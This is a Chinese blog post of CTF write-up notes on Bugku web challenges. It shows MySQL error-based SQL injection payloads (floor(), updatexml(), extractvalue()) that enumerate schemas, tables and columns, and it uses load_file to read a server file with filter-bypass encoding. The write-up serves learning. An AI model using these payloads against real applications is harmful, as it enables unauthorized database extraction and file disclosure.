报错注入

长期更新报错注入的知识,把代码审计这本书上的10种报错姿势吃透。

这是一个神奇的登陆界面-floor()报错注入-bugku

原理:第一个第二个

这道题目....给了我新的姿势把, 第一次真正研究报错注入。

题目测试很容易 输入"会报错然后就是进行报错注入,测试了一番,没有过滤。

然后进行floor()的报错注入

1. 开始的姿势:

1" and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(查询语句))x from information_schema.tables group by x )a)#

    但是会出现如下错误:subquery returns more than 1 row 因为没有进行limit 0,1操作。此操作在报错返回值只有一行的时候经常会出现此此错误。

2. 然后就搜索了一番,有了如下姿势:姿势链接

爆库:1" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) # 
爆表:1" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=数据库 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #  
爆字段:1" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x表的hex编码 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #
爆内容:1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,字段名,0x23) FROM 表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

以上。

今天研究学到的

    1. concat(0x7e,(查询语句),0x7e)的意思是:优化报错信息的观看。0x7e是~ 报错就会这么显示:~xxxx~   xxx是查询到的信息。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


多次-updatexml()报错注入-bugku

    这道题目分为2个关卡,第一个flag应该是假的?(第一次遇到多个flag的题目)

第一关:

    我其实很懵逼,没有回显,无法判断过滤了什么,然后搜索一番,发现前辈们的姿势:使用'^()^'异或的方法来判断。

    具体操作请参看:https://www.cnblogs.com/nienie/p/8524519.html

    大概如下:注入为 id=1'^(0)^' 如果括号里面的判断是假的那就返回there is nothing(也就是页面正常返回)

        我们可以构造如下 id=1'^(length('xxx')!=0)^' 如果页面返回正确那么可以说是xxx被过滤了。eg:order information里面有or注意!!!

    然后进行常规的内联注入。

    在flag1表的address字段里面有个地址,可以进入第二关

第二关:

    有报错,有回显,测试过滤:直接输入关键词即可。    

    进行updatexm()的报错注入,姿势如下:

http://120.24.86.145:9004/Once_More.php?id=1' and (updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) %23

    但是使用floor()进行报错注入时会返回 subquery returns more than  1 row 如下:

http://120.24.86.145:9004/Once_More.php?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e, ( select group_concat(table_name) from information_schema.tables where table_schema=database() ) , 0x7e )x from information_schema.tables group by x )a) %23
    猜测因该是后面的from语句是从information_schema.tables 查询,查询到的值很多,所以需要rows才行。


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


报错注入-3种注入姿势-bugku(本人就尝试了3种注入方式,刷完web题会尝试更多到时候再更新。)

    提示过滤了' "然后就有点懵逼,不知道怎么做了,搜索了一番才知道原来以前闭合引号然后结尾#的做法是多此一举

    然后提示读取文件/var/test/key_1.php,我也并不知道如何操作,看前辈们的解法,是使用load_file读取,然后要进行hex编码才能显示,并且一行最多显示32个字符,所以要使用substr截取。我想了之前floor()好像不会有这个限制,然后疑问是否也需要hex编码才能显示,尝试了一番,有以下结果:

    3种playload如下:

Extractvalue:http://103.238.227.13:10088/?id=1%0aand(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)
Updatexml:http://103.238.227.13:10088/?id=1%0Aand(updatexml(1,concat(0x7e,(substr(load_file(0x2f7661722f746573742f6b65795f312e706870),99,32)),0x7e),1))
Floor:http://103.238.227.13:10088/?id=1%0aand(select%0a1%0afrom(select%0acount(*),concat(floor(rand(0)*2),0x7e,(substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,80)),0x7e)x%0afrom%0ainformation_schema.tables%0agroup%0aby%0ax%0a)a)

    结论:

        1.extractvalue需要截取也需要hex编码。

        2.updatexml需要截取但不需要hex编码,所以最方便。

        3.floor需要截取但是可以显示64位,以上2个之能显示32位,但是floor宝座姿势比较长。


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值